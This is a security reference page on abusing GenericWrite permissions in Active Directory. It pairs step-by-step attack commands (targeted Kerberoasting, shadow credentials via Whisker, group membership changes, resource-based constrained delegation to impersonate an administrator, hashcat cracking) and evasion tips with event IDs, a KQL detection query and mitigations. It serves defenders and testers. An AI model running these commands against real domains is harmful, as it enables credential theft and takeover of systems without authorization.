How it works
GenericWrite is the access mask that covers writing an object's properties. Stored in a DACL it normally appears as 0x20028: read the security descriptor, write all properties (0x20) and perform all validated writes (0x8). It does not include extended rights, so it carries no password reset, and it does not include WRITE_DAC, so the holder cannot change the object's permissions.
That sounds limited, but several attributes of a user, group or computer are security settings in their own right. Whoever can write them controls how the object authenticates or what runs in its name:
| Attribute | Object | What writing it gives |
|---|---|---|
scriptPath |
User | A script that runs in the user's session at interactive logon |
servicePrincipalName |
User | A service ticket encrypted with the user's password key, crackable offline |
msDS-KeyCredentialLink |
User, computer | A key the attacker can use for certificate (PKINIT) sign-in as the object |
member |
Group | New group members |
msDS-AllowedToActOnBehalfOfOtherIdentity |
Computer | Resource-based constrained delegation to the computer |
altSecurityIdentities |
User, computer | An explicit certificate mapping to the account |
GenericWrite is the broad form. The same attacks work with a narrower ACE that covers only the attribute in question, and those narrower rights are easy to overlook in a review:
- Write property on one attribute, for example
servicePrincipalName(WriteSPN) ormsDS-KeyCredentialLink(AddKeyCredentialLink). - Write on a property set. The
Public-Informationset (e48d0154-bcf8-11d1-8702-00c04fb96050) containsservicePrincipalName,userPrincipalName,altSecurityIdentitiesand other attributes. TheUser-Account-Restrictionsset containsuserAccountControland, since Windows Server 2012,msDS-AllowedToActOnBehalfOfOtherIdentity. - Validated write to SPN (mask
0x8). This is not the same as a property write, although it uses the same GUID. It applies to computer and managed service accounts and only accepts SPNs that match the host's own names, so it does not allow an arbitrary SPN on a user.
The domain controller still validates each value. A duplicate SPN is rejected by the uniqueness check, and writing msDS-AllowedToDelegateTo also needs the SeEnableDelegationPrivilege user right, so a property write alone does not create classic constrained delegation.
Prerequisites
- Control of a principal with
GenericWrite, or a narrower property write on the relevant attribute, on the target object. Nested group membership counts. - LDAP access to a domain controller.
- Per variant:
- Logon script: the target user signs in interactively and can read the script's UNC path.
- SPN: the target is a user whose password an offline guessing run can reach.
- Key credential: a domain controller that supports PKINIT (Windows Server 2016 or later with a domain controller certificate).
- Computer: an account with an SPN that the attacker controls. A machine account created through the default machine account quota is the usual choice.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Confirm the right
# PowerView: what alice can do to j.doe
$aliceSid = (Get-DomainUser alice).objectsid
Get-DomainObjectAcl -Identity j.doe -ResolveGUIDs |
Where-Object { $_.SecurityIdentifier.Value -eq $aliceSid } |
Select-Object ActiveDirectoryRights, ObjectAceType, IsInherited
Record the mask and the object type together. A WriteProperty ACE with the SPN GUID allows any SPN; a Self ACE with the same GUID is the validated write and does not.
2. User: logon script path
Read the current value, then point scriptPath at a script on a share the user can read:
Get-ADUser j.doe -Properties scriptPath | Select-Object SamAccountName, scriptPath
Set-DomainObject -Identity j.doe -Set @{scriptpath='\\SRV01.corp.example.com\share\login.cmd'} -Verbose
The script runs as the target user at their next interactive logon. It does not run if the user never signs in interactively or cannot reach the path. Restore the original value afterwards.
3. User: add an SPN and roast the account
targetedKerberoast.py adds a temporary SPN, requests the service ticket and removes the SPN again:
targetedKerberoast.py -d corp.example.com -u alice -p 'Passw0rd!' \
--dc-ip 192.0.2.10 --request-user j.doe -o hashes.txt
The same by hand on Windows:
setspn -S http/roast.corp.example.com j.doe
Rubeus.exe kerberoast /user:j.doe /nowrap
setspn -D http/roast.corp.example.com j.doe
Crack the ticket offline. The hash prefix gives the mode: $krb5tgs$23$ (RC4) is hashcat mode 13100, $krb5tgs$17$ and $krb5tgs$18$ (AES) are 19600 and 19700.
hashcat -m 13100 hashes.txt wordlist.txt
The result depends on the password. See Kerberoasting for the cracking stage and its limits.
4. User or computer: add a key credential
Whisker.exe add /target:j.doe /domain:corp.example.com /dc:DC01.corp.example.com /path:C:\temp\jdoe.pfx /password:PfxPassw0rd!
Whisker writes a key to msDS-KeyCredentialLink, saves the matching certificate and prints the Rubeus command that requests a TGT with it. It also prints a DeviceID, which is what identifies the added value for removal. The full flow, including recovery of the NT hash, is on the shadow credentials page. This route does not depend on the strength of the user's password.
5. Group: add a member
GenericWrite on a group includes write access to member:
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
add groupMember 'Server Admins' alice
The new group appears in the attacker's token only after a fresh sign-in. See group membership abuse.
6. Computer: resource-based constrained delegation
Create a machine account, allow it to act on behalf of other identities to the target computer, and request a ticket as an administrator:
addcomputer.py -computer-name 'FAKE01$' -computer-pass 'M4chine-Passw0rd!' \
-method LDAPS -dc-ip 192.0.2.10 'corp.example.com/alice:Passw0rd!'
rbcd.py -action write -delegate-from 'FAKE01$' -delegate-to 'SRV01$' \
-dc-ip 192.0.2.10 'corp.example.com/alice:Passw0rd!'
getST.py -spn 'cifs/SRV01.corp.example.com' -impersonate administrator \
-dc-ip 192.0.2.10 'corp.example.com/FAKE01$:M4chine-Passw0rd!'
The controlled account needs an SPN for the S4U exchange. addcomputer.py creates the account over SAMR by default, without SPNs; -method LDAPS also writes the default host SPNs. The impersonated user must be delegable: members of Protected Users and accounts marked as sensitive are refused. The RBCD page covers the ticket exchange.
7. Public-Information: certificate mapping
Where the write reaches altSecurityIdentities, the attacker can map a certificate they hold to the target account and sign in with it. Read the current values before changing anything:
Get-ADUser j.doe -Properties servicePrincipalName, altSecurityIdentities |
Select-Object SamAccountName, servicePrincipalName, altSecurityIdentities
The mapping formats and the certificate side are covered in AD CS ESC14.
Impact
On a user, the attacker gets either code execution in the user's session (logon script) or the user's credentials (roasted password, or a TGT and NT hash through a key credential). On a group, every right the group holds. On a computer, a service ticket as an administrator, which means control of the host and of the credentials cached on it.
Two of the variants outlast a password change. A key credential and a certificate mapping keep working after the target's password is reset, and a delegation entry on a computer stays until someone removes it. That makes GenericWrite a persistence tool as well as a privilege escalation step.
OPSEC and artifacts
- Short-lived SPN. Tools add the SPN, request one ticket and remove it within seconds. Two 5136 events for
servicePrincipalName(added, then deleted) remain when the object has a SACL, and event 4769 records the ticket request for the account. - Key credential instead of a password change. The user notices nothing, and there is no 4724. The write to
msDS-KeyCredentialLinkis logged in 5136, and the sign-in that follows is a 4768 with a PKINIT pre-authentication type and certificate fields, unusual for an account that normally uses a password. - Removing only what was added. Operators remove their own key by DeviceID and leave existing Windows Hello for Business keys alone, because clearing the attribute breaks the user's sign-in and draws attention.
- Logon script on an existing share. Pointing
scriptPathat a share the organization already uses avoids a new SMB destination. The attribute change is still in event 4738 and 5136, and the script's process appears in process creation telemetry on the workstation at logon. - Machine account creation. The RBCD route usually starts with a new computer account, logged as event 4741 with the creating user as subject, followed by a 5136 or 4742 on the target computer.
- Access checks. With Directory Service Access auditing and a SACL, event 4662 shows mask
0x20and the GUID of the attribute or property set that was written.
Detection
Each variant is a write to one attribute, followed by an authentication that uses it. The write alone is a lead; the pair is the alert.
| Variant | Write | What follows |
|---|---|---|
| Logon script | 5136 or 4738 with scriptPath |
A new process at the user's next logon. See the logon script path rules |
| Targeted Kerberoasting | 5136 servicePrincipalName on a user that never had an SPN |
4769 for that account within minutes. See the Kerberoasting rules |
| Shadow credentials | 5136 msDS-KeyCredentialLink |
4768 with PKINIT for the same account. See the shadow credentials rules |
| RBCD | 5136 msDS-AllowedToActOnBehalfOfOtherIdentity, often after 4741 |
4769 with TransmittedServices populated. See the RBCD rules |
| Certificate mapping | 5136 altSecurityIdentities |
Certificate sign-in. See the explicit certificate mapping rules |
| Group | 4728, 4732 or 4756 | See the privileged group membership rules |
// SPN added to a user account and a service ticket requested for it within an hour
let SpnAdded = SecurityEvent
| where EventID == 5136
| extend Attribute = extract(@'<Data Name="AttributeLDAPDisplayName">([^<]+)', 1, EventData),
ObjectClass = extract(@'<Data Name="ObjectClass">([^<]+)', 1, EventData),
ObjectDN = extract(@'<Data Name="ObjectDN">([^<]+)', 1, EventData)
| where Attribute =~ "servicePrincipalName" and ObjectClass =~ "user"
| extend Account = tolower(extract(@"^CN=([^,]+)", 1, ObjectDN))
| project WriteTime = TimeGenerated, Actor = SubjectUserName, Account, ObjectDN;
SecurityEvent
| where EventID == 4769
| extend Account = tolower(ServiceName)
| join kind=inner SpnAdded on Account
| where TimeGenerated between (WriteTime .. WriteTime + 1h)
| project WriteTime, Actor, ObjectDN, TicketTime = TimeGenerated, Requester = TargetUserName, IpAddress
The join on the common name is an approximation: it assumes the object's CN equals its account name. Events 5136 and 4662 exist only for objects whose SACL audits the write, so check coverage on the accounts that matter before trusting an empty result.
Mitigation
- Remove broad write access. Replace
GenericWriteand property-set writes with a write on the single attribute the task needs, on the smallest scope. Treat a write toservicePrincipalName,msDS-KeyCredentialLink,altSecurityIdentities,scriptPathormsDS-AllowedToActOnBehalfOfOtherIdentityas a privileged right, because each one is a path to the account. This is least privilege at attribute level. - Limit key credential writes to the Windows Hello for Business enrollment path, Key Admins and approved management tools.
- Set the machine account quota to zero so ordinary users cannot create the computer account that the RBCD route needs. The MachineAccountQuota guide covers the change and its effect on device join.
- Make roasting pointless. Managed service accounts or long random passwords on service accounts, no SPNs on privileged users, and AES-only encryption types. See how to secure Active Directory service accounts.
- Protect privileged users from delegation. Mark Tier 0 accounts as sensitive or add them to Protected Users, so an RBCD ticket cannot be issued in their name.
- Audit the attributes. Add SACLs for writes to the attributes above on privileged accounts, servers and the OUs that hold them, following the audit policy guide.
- When responding, remove the added key credential, mapping, SPN, script path and delegation entry explicitly. A password reset removes none of them.
Detection rules for this attack
Log events to collect
FAQ
What can an attacker do with GenericWrite on a user?
Write any attribute of the user that is not specially protected. The useful ones are scriptPath (a script that runs as the user at the next logon), servicePrincipalName (makes the account roastable), and msDS-KeyCredentialLink (lets the attacker authenticate as the user with a certificate). GenericWrite does not include the password reset right, so the attacker cannot simply set a new password.
What can an attacker do with GenericWrite on a computer?
Write msDS-AllowedToActOnBehalfOfOtherIdentity, which configures resource-based constrained delegation. The attacker names an account they control and then requests a service ticket to the computer as a domain administrator. A key credential on the computer account is a second route to the same host.
Can GenericWrite reset a password?
No. A password reset needs the User-Force-Change-Password extended right, which is a control access right and not a property write. GenericWrite holders reach the account's credentials indirectly, through targeted Kerberoasting or shadow credentials.
What is WritePublicInformation?
Write access to the Public-Information property set, a group of attributes that includes servicePrincipalName, userPrincipalName and altSecurityIdentities. It is narrower than GenericWrite but still allows targeted Kerberoasting through the SPN, and a certificate mapping through altSecurityIdentities where the ACE reaches that attribute.
References
- Account Manipulation, T1098 (MITRE ATT&CK)
- Boot or Logon Initialization Scripts: Network Logon Script, T1037.003 (MITRE ATT&CK)
- ADS_RIGHTS_ENUM enumeration (Microsoft Learn)
- Public-Information property set (Microsoft Learn)
- Validated-SPN validated write (Microsoft Learn)
- 5136(S): A directory service object was modified (Microsoft Learn)
- targetedKerberoast (ShutdownRepo)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.